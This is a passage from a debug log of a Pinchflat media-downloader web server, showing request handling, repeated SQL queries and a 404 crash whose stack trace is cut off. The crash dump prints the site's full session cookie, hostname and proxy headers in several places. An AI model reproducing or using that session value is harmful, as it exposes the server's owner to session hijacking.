Pipelines: [:browser] 22:17:23.906 [info] Sent 200 in 7ms 22:17:23.906 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4770] 22:17:23.907 [debug] QUERY OK source="settings" db=0.2ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.907 [debug] QUERY OK source="settings" db=0.2ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.908 [info] GET /sources/6/media/4771 22:17:23.908 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4771", "source_id" => "6"} Pipelines: [:browser] 22:17:23.909 [debug] QUERY OK source="settings" db=0.6ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.912 [debug] QUERY OK source="media_items" db=3.5ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4771] 22:17:23.912 [info] GET /sources/6/media/4771/edit 22:17:23.913 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4771", "source_id" => "6"} Pipelines: [:browser] 22:17:23.913 [info] Sent 200 in 7ms 22:17:23.913 [info] GET /sources/6/media/4772 22:17:23.913 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4772", "source_id" => "6"} Pipelines: [:browser] 22:17:23.913 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4771] 22:17:23.914 [info] GET /sources/6/media/4772/edit 22:17:23.914 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4772", "source_id" => "6"} Pipelines: [:browser] 22:17:23.914 [debug] QUERY OK source="tasks" db=0.7ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4771] 22:17:23.914 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.914 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4772] 22:17:23.914 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4772] 22:17:23.915 [debug] QUERY OK source="settings" db=0.5ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.915 [debug] QUERY OK source="sources" db=0.6ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.915 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.915 [debug] QUERY OK source="settings" db=0.2ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.915 [debug] QUERY OK source="settings" db=0.1ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.915 [debug] QUERY OK source="settings" db=1.5ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.916 [debug] QUERY OK source="tasks" db=1.3ms idle=0.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4772] 22:17:23.916 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.916 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.916 [debug] QUERY OK source="settings" db=0.7ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.916 [debug] QUERY OK source="settings" db=0.7ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.917 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.917 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.917 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.917 [info] Sent 200 in 3ms 22:17:23.918 [info] Sent 200 in 5ms 22:17:23.919 [debug] QUERY OK source="settings" db=1.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.919 [info] Sent 200 in 10ms 22:17:23.920 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.921 [info] Sent 200 in 7ms 22:17:24.114 [info] GET /sources/6/media/4773 22:17:24.114 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4773", "source_id" => "6"} Pipelines: [:browser] 22:17:24.115 [debug] QUERY OK source="media_items" db=0.5ms idle=197.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4773] 22:17:24.116 [debug] QUERY OK source="sources" db=0.5ms idle=198.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:24.117 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=198.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4773] 22:17:24.118 [debug] QUERY OK source="settings" db=0.2ms idle=198.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.118 [debug] QUERY OK source="settings" db=0.1ms idle=198.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.119 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.120 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.122 [info] Sent 200 in 8ms 22:17:24.129 [info] GET /sources/6/media/4773/edit 22:17:24.129 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4773", "source_id" => "6"} Pipelines: [:browser] 22:17:24.130 [debug] QUERY OK source="media_items" db=0.3ms idle=12.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4773] 22:17:24.130 [debug] QUERY OK source="settings" db=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.130 [debug] QUERY OK source="settings" db=0.1ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.131 [debug] QUERY OK source="settings" db=0.1ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.132 [info] Sent 200 in 3ms 22:17:24.140 [info] GET /sources/new 22:17:24.140 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "10"} Pipelines: [:browser] 22:17:24.141 [debug] QUERY OK source="sources" db=0.4ms idle=20.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.142 [debug] QUERY OK source="media_profiles" db=0.5ms idle=11.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 22:17:24.142 [debug] QUERY OK source="settings" db=0.2ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.143 [debug] QUERY OK source="settings" db=0.4ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.144 [debug] QUERY OK source="settings" db=0.2ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.144 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.145 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.147 [info] GET /sources/b443d462-a6d8-4aa9-9bae-7be3f0f7e503/feed.xml 22:17:24.147 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "b443d462-a6d8-4aa9-9bae-7be3f0f7e503"} Pipelines: [:maybe_basic_auth] 22:17:24.148 [info] Sent 200 in 8ms 22:17:24.148 [debug] QUERY OK source="sources" db=0.5ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["b443d462-a6d8-4aa9-9bae-7be3f0f7e503"] 22:17:24.151 [debug] QUERY OK source="media_items" db=2.7ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 22:17:24.152 [info] GET /sources/10/force_download_pending 22:17:24.153 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.153 [debug] QUERY OK source="settings" db=0.3ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.153 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.154 [error] #PID<0.37216.0> running PinchflatWeb.Endpoint (connection #PID<0.37077.0>, stream id 15) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37216.0>, params: %{}, path_info: ["sources", "10", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvmOLsiIwoPwAAX9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 